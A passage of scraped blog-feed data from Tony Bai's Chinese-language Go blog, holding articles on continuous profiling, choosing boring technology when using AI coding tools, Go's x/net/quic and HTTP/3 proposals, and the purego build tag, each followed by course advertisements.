Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"后VMware时代：为什么Kubernetes正在成为VM的新家？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/04/continuous-profiling-fourth-pillar\n大家好，我是Tony Bai。\n凌晨两点，运维平台的警报刺破了宁静。P99 延迟飙升，用户服务几近瘫痪。作为 Go 工程师，你的脑海中闪过无数可能：是数据库慢了？是下游服务超时？还是某个新上线的 goroutine 泄露了？你急忙打开监控面板，Metrics (指标) 显示 CPU 和内存平稳，Logs (日志) 没有明显异常，Traces (追踪) 只告诉你请求在服务内部耗费了大量时间，却不知所踪。这个场景，是现代软件运维中一个令人沮丧的“最后一公里”难题。\n近日，可观测性领域的领导者 Datadog 在其官方技术博客中发表了一篇极具洞察力的文章，题为《Why continuous profiling is the fourth pillar of observability》，它为这个难题提供了答案。文章掷地有声地论证了，一个新兴的技术范式——持续性能分析 (Continuous Profiling)——正在补全可观测性的关键拼图，成为继 Metrics、Logs 和 Traces 之后，不可或缺的**“第四大支柱”**。本文将结合该文的核心论点，为 Go 开发者深度解读这场正在发生的变革。\n可观测性缺口：为什么三大支柱还不够？ 多年来，我们依赖三大支柱来理解复杂的分布式系统。它们是强大的工具，但各自的边界也愈发清晰：\nMetrics 如同系统的仪表盘，提供聚合的、宏观的健康度量。它能告诉我们“服务 CPU 使用率达到 90%”，但无法回答 “是哪段 Go 代码在消耗 CPU？” Logs 是离散的事件记录，如同飞机的黑匣子。它能记录“发生了一个错误”，但当系统因性能下降而非错误崩溃时，日志往往是沉默的。 Traces 描绘了请求的生命周期，如同 GPS 导航。它能精确定位“请求在 user-service 中耗时 500ms”，但如果瓶颈源于 Go 应用内部的锁竞争或 channel 阻塞，Trace 同样无能为力。 这三大支柱就像是抵达犯罪现场的侦探。他们有案发时间（Metric）、目击者证词（Logs）和受害者的行动路线（Trace），但他们缺少最关键的物证——直接导致性能“死亡”的“凶器”，即那段有问题的代码。Datadog 的文章正是从这个缺口切入，引出了传统性能分析的困境。\n性能分析的进化：从手动取证到持续监控 pprof 是每个 Go 开发者性能调优的利器。但我们通常如何使用它？正如 Datadog 文章所描述的，传统性能分析是一项“高开销、高难度、低回报”的任务。它是一种被动的、法医式的工作：\n问题发生后响应： 只有当系统已经着火，我们才想起去救火。 艰难的环境复现： 文章一针见血地指出，“应用程序在测试环境中的行为与生产环境中的行为并不相同。”复现生产环境的特定负载和边界条件几乎是不可能的。 高昂的性能开销： 早期的插桩式 profiler 会严重拖慢应用，即使是现代的采样式 profiler，在高频次手动抓取时也需谨慎。 持续性能分析则彻底颠覆了这一模式，它是一种主动的、全天候的监控。其核心理念在于，以极低的、可忽略不计的性能开销，在全部生产环境中不间断运行。Datadog 强调，“低开销是一个至关重要的设计要求”，这使得性能分析从一种偶发的调试行为，演变为一种像 Metrics 一样持续流淌的遥测数据。\nGo 开发者的超能力：洞察并发与运行时 对于 Go 开发者而言，持续性能分析的价值被进一步放大。Go 的威力在于其简洁高效的并发模型，但其性能瓶颈也往往隐藏在并发的细节中，而非单纯的 CPU 计算。pprof 提供了丰富的 profile 类型来洞察这些细节：\ncpu profile: 经典的 CPU 时间消耗。 heap profile: 内存分配情况。 goroutine profile: 所有当前 goroutine 的堆栈信息。 mutex profile: 锁竞争的耗时。 block profile: channel 读写、系统调用等阻塞操作的耗时。 在传统模式下，我们很难同时关注所有这些维度。而持续性能分析平台则可以持续采集所有类型的 profile，让我们能够回答更深层次的问题：\n“为什么我的 CPU 不高，但服务响应却很慢？”——答案可能就在 mutex 或 block profile 中，揭示了严重的锁竞争或 I/O 等待。\n“为什么我的内存使用量在稳定增长？”——持续的 heap profile 可以让你轻松对比不同时间点的内存快照，快速定位内存泄露的源头。\n协同的威力：打通从“现象”到“根因”的最后一公里 如果说持续采集是基础，那么**“数据关联”就是第四大支柱的点金石。Datadog 在文章中强调，其真正的威力在于“能够与在生产环境中同时捕获的任何指标、追踪和日志相结合并关联起来。”**\n让我们构想一个完整的 Go 开发者诊断之旅：\n现象（Metric）: 监控系统告警，GET /api/v1/orders 接口的 P99 延迟突破 1 秒。\n定位（Trace）: 你打开 APM 系统，找到一个耗时 1.2 秒的慢 Trace。Trace 显示，请求在 order-service 内部停留了 1.1 秒，但其中并没有慢数据库查询或慢 gRPC 调用。\n下钻（Profile）: 在这个慢 Trace 详情页，你点击了“查看关联的 Profile”按钮。\n根因（Code）: 瞬间，一张火焰图呈现在眼前。它清晰地显示，90% 的墙上时钟时间 (Wall-Clock Time) 都消耗在了一个 channel 的接收操作上 (\u0026lt;-ch)。结合 goroutine profile，你发现处理该 channel 的 worker goroutine 池已经全部阻塞，无法接收新任务。问题的根因不是计算，而是并发设计中的背压问题。\n这就是第四大支柱带来的革命性体验。它将高阶的系统现象与底层的代码执行细节无缝连接，提供了无可辩驳的证据，将诊断时间从数小时甚至数天，缩短到几分钟。\n行业趋势与实际回报 Datadog 的观点并非孤例，而是正在形成的行业共识。最强有力的佐证来自 OpenTelemetry (OTel) 社区，它已正式将 Profiling 纳为第四个核心信号类型，致力于推动其标准化。\n这种投入带来了惊人的回报。Datadog 坦言，通过在内部大规模使用持续性能分析，他们**“每年节省了 1750 万美元的经常性成本”**，并极大地提升了故障解决速度 (MTTR) 和发布效率。对于广大企业而言，节省的不仅是云资源成本，更是宝贵的工程师时间。\nGo 团队的采纳路线图 那么，作为 Go 团队，如何拥抱这一新范式？\n了解工具生态： 商业方案： Datadog, Grafana Cloud Profiles (集成了 Pyroscope) 等提供了开箱即用的成熟体验。\n**开源方案：**Parca 和 Pyroscope(已被Grafana收购) 是该领域的两大明星项目，它们与 Kubernetes 和 Prometheus 生态紧密集成，并积极拥抱 OTel 标准。\n渐进式引入： 从一个核心服务或一个对性能敏感的服务入手，在预生产环境中进行集成和测试，验证其开销和效果。\n文化转型： 将性能分析融入日常。在代码审查（Code Review）中，除了关注逻辑正确性，也开始关注其性能画像。让性能不再是事后补救，而是贯穿开发周期的第一公民。\n小结：构建真正坚实的可观测性大厦 Datadog 的文章雄辩地证明，一个仅有三大支柱的可观测性系统是不完整的。持续性能分析通过提供持续的、代码级的性能洞察，并与现有遥测数据无缝关联，最终补全了可观测性版图，让整座大厦的根基变得前所未有的坚实。\n对于 Go 开发者而言，这不仅是多了一个工具，更是一次思维方式的升级。是时候将 pprof 从一个偶尔使用的“救火队员”，转变为一个通过连续分析平台赋能的、永远在线的“哨兵”了。只有当四大支柱协同工作时，我们才能在面对日益复杂的分布式系统时，拥有洞若观火的从容与自信。\n资料链接：https://www.datadoghq.com/blog/continuous-profiling-fourth-pillar/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/04/continuous-profiling-fourth-pillar/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/continuous-profiling-fourth-pillar-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/04/continuous-profiling-fourth-pillar\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/04/continuous-profiling-fourth-pillar\"\u003ehttps://tonybai.com/2025/08/04/continuous-profiling-fourth-pillar\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e凌晨两点，运维平台的警报刺破了宁静。P99 延迟飙升，用户服务几近瘫痪。作为 Go 工程师，你的脑海中闪过无数可能：是数据库慢了？是下游服务超时？还是某个新上线的 goroutine 泄露了？你急忙打开监控面板，\u003cstrong\u003eMetrics (指标)\u003c/strong\u003e 显示 CPU 和内存平稳，\u003cstrong\u003eLogs (日志)\u003c/strong\u003e 没有明显异常，\u003cstrong\u003eTraces (追踪)\u003c/strong\u003e 只告诉你请求在服务内部耗费了大量时间，却不知所踪。这个场景，是现代软件运维中一个令人沮丧的“最后一公里”难题。\u003c/p\u003e","title":"持续性能分析正在成为继Metrics、Logs 和 Traces之后，可观测性的“第四大支柱”"},{"content":"AI 正在放大技术选型的风险：为什么我们更应该“选择无聊的技术” - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nAI 正在放大技术选型的风险：为什么我们更应该“选择无聊的技术” 八月 3, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/08/03/choose-boring-technology\n大家好，我是Tony Bai。\n大约十年前，Dan McKinley 的一篇经典雄文《选择无聊的技术》（Choose Boring Technology）在工程师圈子里广为流传。它的核心观点简单而深刻：一家公司的“创新代币”（innovation tokens）是有限的，应该用在刀刃上，而不是随意挥霍在那些闪亮但未经证实的新技术上。\n“无聊”的技术，比如 Postgres、Python、PHP，它们的优势不在于新潮，而在于其故障模式和能力边界是众所周知的。当系统在凌晨三点崩溃时，你需要的是一个有大量 Stack Overflow 答案可以求助的领域，而不是一片你必须独自开拓的未知“无人区”。\n这个原则，在过去十年里，成为了无数资深工程师的技术选型座右铭。然而，十年后的今天，随着 LLMs 和 Agentic AI 编程工具的崛起，业界仍然认为：这个原则不仅没有过时，反而比以往任何时候都更加重要，甚至更加致命。\nAI 时代的“诱惑”与“危险” AI 编程助手带来了一个全新的变数。这个变数既有趣，又极其危险。\n这里的“有趣”在于，现代 AI 工具（无论是 Claude 还是 Copilot）已经非常擅长为几乎任何你能想到的技术栈，生成“看起来非常专业”的代码。你给它一个 prompt，让它用最新的 JavaScript 框架、GraphQL federation 和 Kubernetes 来实现一套微服务，它会迅速给你返回一堆代码——这些代码可能遵循了所有社区惯例，命名规范无可挑剔，错误处理看起来也像模像样，甚至，它可能真的能运行。\n这就是 AI 的“诱惑”。它让你感觉，掌握任何新技术都不过是弹指一挥间的事。\n而“危险”也恰恰源于此。当你在一个你不熟悉的技术领域里使用 AI 时，一个致命的问题出现了：\n你根本无法验证，AI 是不是在“一本正经地胡说八道”（bullshitting you）。\n我亲眼见过，有工程师接受了 AI 生成的代码，而这些代码里：\n使用了早已废弃的 API。 实现了严重的安全反模式。 制造了只有在生产负载下才会暴露的、极其隐蔽的性能问题。 为什么会这样？因为这些代码“看起来是对的”。但它的错误，是深植于技术细节中的，只有真正熟悉这门技术的人才能一眼看穿。\n风险的“乘法效应” 过去，我们说选择一门新技术是增加了一个“未知数”。而在 AI 时代，当你将不熟悉的技术与 AI 生成的代码结合时，你不再是简单地增加未知数，而是在乘以未知数。\n你不知道这个框架是否是解决你问题的最佳选择；你不知道 AI 的实现是否遵循了最佳实践；你不知道生成的代码中，哪些是无伤大雅的模板，哪些是核心业务逻辑；你更不知道，这套组合拳将会以何种奇特的方式在未来失效。\n这已经不是简单的“货物崇拜”（cargo-culting）了，这是指数级的货物崇拜。\n注：“货物崇拜”（cargo culting）是一个源自太平洋岛屿的概念，最早用于描述一些岛屿居民对西方物资和技术的崇拜现象。在二战期间，许多西方士兵在这些岛屿上驻扎，带来了大量的物资和现代技术。当地人对这些物品产生了强烈的向往，认为这些物品是神灵的恩赐。\nAI 时代的“技术选型第一性原理” 那么，我们该怎么办？答案出奇地简单，它让我们回归到了那个最朴素的原则：\nAI 是你所理解技术的“力量倍增器”，却是你不理解技术的“脆弱拐杖”。\n当你选择“无聊”的技术，也就是你真正精通的技术时，AI 会变得无比强大。你可以让 Claude 帮你生成 Rails 代码，因为你对 Rails 了如指掌，能轻易发现它何时提出了可疑的建议。你可以让 Copilot 辅助你写 JavaScript，因为你理解这门语言的怪癖，能对它的产出进行事实核查。\n在这种模式下，AI 是你的副驾驶，为你处理繁琐的路线，而你始终掌握着方向盘。\n给 AI 时代开发者的实践指南 那么，在一个充满 AI 编程助手的世界里，我们该如何应用“选择无聊的技术”这一原则呢？这里有三条黄金法则：\n评估新技术时先自问：“如果 AI 为它生成了代码，我有能力审查吗？” 如果答案是否定的，那么这项技术或许不应该用于任何对你而言是任务关键型（mission-critical）的项目。\n学习新技术时（当你决定用掉一个“创新代币”时）： 请务必花时间深入理解它，达到能对 AI 的建议进行独立事实核查的程度。不要只是复制、粘贴，然后祈祷好运。\n抵制诱惑： 不要把 AI 工具当作一个借口，让你能同时拥抱一门新语言、一个新框架和一套新基础设施。AI 可能会给你一种“我能搞定一切”的错觉，但你无法真正验证其中任何一环。\n小结：理解，是前所未有的宝贵资产 “选择无聊的技术”这个论点的初衷，是为了降低系统的运维复杂性和团队的认知开销。在 AI 时代，这些理由依然成立，但我们又增加了一个更重大的风险：对抗由 AI 带来的、致命的虚假自信。\n如今的风险更高了，因为 AI 生成的代码质量越来越好，使得发现问题变得更加困难。过去，坏代码通常看起来就很糟糕。现在，有问题的代码可能看起来相当不错，直到你对该领域足够了解，才能注意到那些微妙的致命伤。\n所以，我的建议始终不变：当你要解决一个问题时，请使用你已经了解的技术。当你想要学习新东西时，那就专心去学习。不要将 AI 生成的代码，误认为是真正的理解。\n在一个 AI 可以自信地为你从未用过的技术生成数千行代码的世界里，你自己的、深刻的理解，比以往任何时候都更有价值。\n资料链接：\nhttps://mcfunley.com/choose-boring-technology https://www.brethorsting.com/blog/2025/07/choose-boring-technology,-revisited 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/03/choose-boring-technology/","summary":"\u003ch1 id=\"ai-正在放大技术选型的风险为什么我们更应该选择无聊的技术---tony-bai\"\u003eAI 正在放大技术选型的风险：为什么我们更应该“选择无聊的技术” - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"AI 正在放大技术选型的风险：为什么我们更应该“选择无聊的技术”"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/02/proposal-http3\n大家好，我是Tony Bai。\n在社区长达数年的热切期盼之后，Go 官方终于迈出了支持 HTTP/3 的关键一步。一项编号为#70914的新提案，正式建议在 x/net/http3 中添加一个实验性的 HTTP/3 实现。这一进展建立在另一项更基础的提案 #58547(x/net/quic) 之上，该提案的实现已取得重大进展，并已从内部包移至公开的 x/net/quic。这意味着 Go 的网络栈即将迎来一次基于 UDP 的、彻底的现代化升级。本文将带您回顾 Go 社区对 HTTP/3 的漫长期待，深入解读官方 QUIC 和 HTTP/3 的实现策略，并探讨其对未来 Go 网络编程的深远影响。\n一场长达五年的等待 对 HTTP/3 的支持，可以说是 Go 社区近年来呼声最高的功能之一。早在 2019 年，issue #32204 就被创建，用于追踪在标准库中支持 HTTP/3 的进展。在随后的五年里，随着 Chrome、Firefox 等主流浏览器以及 Cloudflare 等基础设施提供商纷纷拥抱 HTTP/3，社区的期待也日益高涨。\n在此期间，由 Marten Seemann 维护的第三方库 quic-go 成为了 Go 生态中事实上的标准，为 Caddy 等项目提供了生产级的 QUIC 和 HTTP/3 支持。然而，许多开发者仍然期盼一个“电池内置”的官方解决方案，以保证与 Go 标准库（特别是 net/http 和 crypto/tls）的最佳集成和长期维护。\nGo 团队对此一直持谨慎态度，主要原因在于：\n协议稳定性：在 QUIC 和 HTTP/3 的 IETF 标准（RFC 9000 和 RFC 9114）正式发布前，过早投入实现可能会面临巨大的变更成本。 API 设计复杂性：QUIC 协议引入了连接、流、0-RTT 等新概念，其 API 设计需要与现有的 net.Conn 和 net.Listener 体系进行权衡，这是一个巨大的挑战。 实现难度巨大：一个高性能、安全的 QUIC 协议栈，涉及复杂的流量控制、拥塞控制、丢包恢复等机制，其实现工作量远超 HTTP/2。 两步走战略：先 QUIC，后 HTTP/3 现在，随着协议的标准化和 crypto/tls 中 QUIC 支持的落地，Go 团队终于启动了官方的实现计划，并采取了清晰的“两步走”战略。\n第一步：构建 QUIC 基础 (x/net/quic) 提案 #58547 旨在 golang.org/x/net/quic 中提供一个 QUIC 协议的实现。这是支持 HTTP/3 的必要前提。经过一段时间的开发，该包的实现已取得重大进展。\nGo 团队的核心成员 neild 最近宣布，该 QUIC 实现已从内部包 (internal/quic) 移至公开的 x/net/quic，虽然仍处于实验阶段且 API 可能变化，但这标志着它已足够成熟，可以供社区“尝鲜”和提供反馈。\nx/net/quic 的核心 API 概念：\nEndpoint (原 Listener): 在一个网络地址上监听 QUIC 流量。 Conn: 代表一个客户端和服务器之间的 QUIC 连接，可以承载多个流。 Stream: 一个有序、可靠的字节流，类似于一个 TCP 连接。 // 客户端发起连接 conn, err := quic.Dial(ctx, \u0026#34;udp\u0026#34;, \u0026#34;127.0.0.1:8000\u0026#34;, \u0026amp;quic.Config{}) // 服务器接受连接 endpoint, err := quic.Listen(\u0026#34;udp\u0026#34;, \u0026#34;127.0.0.1:8000\u0026#34;, \u0026amp;quic.Config{}) conn, err := endpoint.Accept(ctx) // 在连接上创建和接受流 stream, err := conn.NewStream(ctx) stream, err := conn.AcceptStream(ctx) // 对流进行读写操作 n, err = stream.Read(buf) n, err = stream.Write(buf) stream.Close() 值得注意的是，官方实现并未直接采用 quic-go 的代码，rsc 在讨论中解释了原因，包括 API 设计理念的差异、代码风格、测试框架依赖以及从零开始实现可能更易于维护等。\n第二步：实现 HTTP/3 (x/net/http3) 在 x/net/quic 的基础上，提案 #70914 正式启动了 x/net/http3 的开发。与 QUIC 一样，它将首先在内部包 (x/net/internal/http3) 中进行开发，待 API 稳定后再移至公开包，并提交最终的 API 审查提案。\n从 gopherbot 自动发布的 CL（代码变更）列表中，我们可以看到 HTTP/3 的实现正在紧锣密鼓地进行中，涵盖了 QPACK（HTTP/3 的头部压缩算法）、Transport、Server、请求/响应体传输等核心组件。\n对 Go 网络编程的深远影响 官方 QUIC 和 HTTP/3 的到来，将为 Go 开发者带来革命性的变化：\n透明的协议升级：可以预见，未来的 net/http 包将能够像当年无缝支持 HTTP/2 一样，透明地支持 HTTP/3。开发者可能无需修改现有代码，http.Get(“https://example.com/”) 就可能自动通过 UDP 下的 QUIC 协议执行，正如 ianlancetaylor 在讨论中确认的那样。\n解决队头阻塞 (Head-of-Line Blocking)：HTTP/3 最大的优势之一是解决了 TCP 队头阻塞问题。对于需要处理大量并发请求的 Go 微服务，这意味着更低的延迟和更高的吞吐量，尤其是在网络不稳定的情况下。\n更快的连接建立：QUIC 支持 0-RTT 连接建立，对于需要频繁建立新连接的应用场景，可以显著降低握手延迟。\n原生多路复用传输层：QUIC 本身就是一个多路复用的传输协议。虽然提案的初期重点是支持 HTTP/3，但一个标准化的 QUIC API 将为 gRPC over QUIC、WebTransport 以及其他需要多流、低延迟通信的自定义协议打开大门。\n终极形态——当 QUIC 走进 Linux 内核 尽管 x/net/quic 的开发标志着 Go 官方在用户空间迈出了重要一步，但关于 QUIC 协议的终极愿景，则指向了更深的层次：Linux 内核原生支持。最近，由 Xin Long 提交的一系列补丁，首次将内核态 QUIC 的实现提上了 mainline 的议程。\n为什么要将 QUIC 移入内核？\n将 QUIC 从用户空间库（如 x/net/quic 或 quic-go）下沉到内核，主要有以下几个核心动机：\n极致的性能潜力：内核实现能够充分利用现代网络硬件的**协议卸载（protocol offload）**能力，例如 GSO/GRO (Generic Segmentation/Receive Offload)。这将极大地降低 CPU 在处理大量小型 UDP 包时的开销，释放出用户空间实现难以企及的性能潜力。 更广泛的可用性：一旦 QUIC 成为内核支持的协议（如 IPPROTO_QUIC），任何应用程序都可以像使用 TCP 或 UDP 一样，通过标准的 socket() 系统调用来使用它，而无需绑定到任何特定的用户空间库。 统一的生态系统：内核级别的支持将极大地促进生态系统的发展。Samba、NFS 甚至 curl 等项目已经表现出对内核态 QUIC 的浓厚兴趣。对于 Go 开发者而言，这意味着未来不仅是 net/http，甚至标准库的其他部分或底层系统调用，都可能从 QUIC 中受益。 当前的实现与挑战\nXin Long 的补丁集展示了一个高度集成化的设计：\n熟悉的 Sockets API：开发者将能够使用 socket(AF_INET, SOCK_STREAM, IPPROTO_QUIC) 这样的调用来创建一个 QUIC 套接字，并继续使用 bind(), connect(), listen(), accept() 等熟悉的 API。 用户空间 TLS 握手：与内核 TLS (KTLS) 的设计类似，复杂的 TLS 握手和证书验证逻辑仍然被委托给用户空间处理。一旦握手完成，内核将接管加密和解密的数据流。 性能仍在优化：初步的基准测试显示，当前的内核实现性能尚不及 KTLS 甚至原生 TCP。这主要是由于缺少硬件卸载支持、额外的内存拷贝以及 QUIC 头部加密的开销。但随着实现的成熟和硬件厂商的跟进，这一差距有望迅速缩小。 不过，预计内核态 QUIC 的合入可能要到 2026 年甚至更晚。\n小结：Go 网络生态的下一座里程碑 尽管距离在 Go 标准库中稳定地使用 http.Server{…}.ListenAndServeQUIC() 可能还有一段时间，但 x/net/quic 的公开和 x/net/http3 提案的启动，标志着 Go 官方已经吹响了向下一代网络协议进军的号角。\n对于 Go 社区而言，这是一个令人振奋的信号。它不仅回应了开发者们长久以来的期待，也确保了 Go 在未来依然是构建高性能、现代化网络服务的首选语言。我们期待着 x/net/http3 的成熟，并最终看到它被无缝地集成到 net/http 标准库中，为所有 Go 开发者带来更快、更可靠的网络体验。\n参考资料 https://github.com/golang/go/issues/70914 https://github.com/golang/go/issues/58547 https://github.com/golang/go/issues/32204 https://lwn.net/Articles/1029851/ 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/02/proposal-http3/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/proposal-http3-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/02/proposal-http3\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/02/proposal-http3\"\u003ehttps://tonybai.com/2025/08/02/proposal-http3\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在社区长达数年的热切期盼之后，Go 官方终于迈出了支持 HTTP/3 的关键一步。一项编号为\u003ca href=\"https://github.com/golang/go/issues/70914\"\u003e#70914的新提案\u003c/a\u003e，正式建议在 x/net/http3 中添加一个实验性的 HTTP/3 实现。这一进展建立在另一项更基础的提案 \u003ca href=\"https://github.com/golang/go/issues/58547\"\u003e#58547(x/net/quic) 之上\u003c/a\u003e，该提案的实现已取得重大进展，并已从内部包移至公开的 x/net/quic。这意味着 Go 的网络栈即将迎来一次基于 UDP 的、彻底的现代化升级。本文将带您回顾 Go 社区对 HTTP/3 的漫长期待，深入解读官方 QUIC 和 HTTP/3 的实现策略，并探讨其对未来 Go 网络编程的深远影响。\u003c/p\u003e","title":"Go官方 HTTP/3 实现终迎曙光：x/net/http3 提案启动，QUIC 基础已就位"},{"content":"purego 标签到底是什么意思？一场长达六年的社区辩论终于有了定论 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\npurego 标签到底是什么意思？一场长达六年的社区辩论终于有了定论 八月 1, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/08/01/proposal-purego\n大家好，我是Tony Bai。\n对于许多 Go 开发者来说，purego 构建标签一直是一个模糊的存在。它到底意味着“没有 Cgo”、“没有 unsafe”，还是“没有汇编”？这个问题的答案在社区中众说纷纭，甚至连标准库中的使用也不尽统一。最近，一项历时六年、编号为#23172 的提案终于尘埃落定，Go 团队正式接受 (accepted) 了关于 purego 含义的共识。本文将带大家一起回顾这场漫长而精彩的社区辩论，深入探讨其背后的技术权衡，并阐明这个小小的标签对于 Go 的跨实现（如 TinyGo）和可移植性生态的深远意义。\n背景：一个模糊的约定 purego 标签的诞生，源于 Go 生态系统日益增长的多样性。除了官方的 gc 编译器，还涌现出了 GopherJS、TinyGo、gccgo 等多种 Go 实现。在这些非标准环境中，对 unsafe 包的指针操作、Cgo 的支持以及 Go 汇编的兼容性各不相同。\n最初，protobuf 等库为了兼容Google App Engine 等不允许 unsafe 的环境，开始使用 safe 标签。这个概念逐渐演变为 purego，但其确切含义从未被正式定义。这导致了混乱：\n有人认为 purego 意味着完全的内存安全，即禁止 unsafe 包。 有人认为它意味着纯粹的 Go 代码，即禁止 cgo 和汇编。 还有人认为它应该是一个包罗万象的标签，同时禁止 unsafe、cgo 和汇编。 这种模糊性给库作者和不同 Go 实现的维护者带来了困扰。\n辩论的焦点：一个标签，多重含义的冲突 提案的讨论过程充满了精彩的技术思辨，核心矛盾在于试图用一个标签来承载多个正交（orthogonal）的概念：\nnoasm vs. nounsafe vs. nocgo：来自 TinyGo 团队的开发者明确指出，TinyGo 支持 unsafe 和 cgo，但不支持 Go 汇编。如果 purego 同时禁止这三者，那么 TinyGo 将被迫禁用它本可以支持的功能。!cgo 标签已经很好地解决了 Cgo 的问题，因此将 cgo 捆绑进来显得多余。\nunsafe 的多重“不安全”：Go 安全负责人 Filippo Valsorda (@FiloSottile) 进一步指出，unsafe 包本身也包含了不同层次的“不安全”：\n* **类型转换**（如 unsafe.String）：通常是可移植的。 * **linkname**：与运行时实现紧密耦合。 * **指针运算**：依赖内存布局，是真正的不可移植性的主要来源。 用一个 nounsafe 标签一概而论，过于粗暴，可能会“误伤”许多可移植的 unsafe 用法。\n生态现状：seankhliao 通过 GitHub 搜索发现，社区中 //go:build !purego 与 import “unsafe” 的组合（表示非 purego 版本才使用 unsafe）远多于 //go:build purego 与 import “unsafe” 的组合。这表明，社区的主流用法倾向于将 purego 视为不使用 unsafe 和汇编的版本。 达成共识：“完美是优秀的敌人” 在长达数年的讨论后，Filippo Valsorda 的一段评论为这场辩论指明了方向，他主张“不要让完美成为优秀的敌人”：\n核心用例：当前最主要的需求来自 TinyGo 和标准库加密包的通用后备代码测试，这两者本质上都需要一个“禁用汇编”的开关。 现有约定：purego 已经是社区和标准库中广泛用于禁用汇编的事实标准。虽然名字不够理想（noasm 会更清晰），但改变一个已广泛使用的约定的成本太高。 重新界定：我们应该停止扩大 purego 的定义，回归其最核心、最被需要的用途。 最终，在 aclements 等核心成员的推动下，社区达成了清晰的共识。\n最终决议：purego 意为“无汇编” Go 团队最终接受 (accepted) 了该提案，并明确了其最终方向：将在 go help buildconstraint 中正式文档化 purego 构建标签的约定：\npurego 主要用于禁用汇编代码，从而启用纯 Go 的实现作为后备。 purego 与 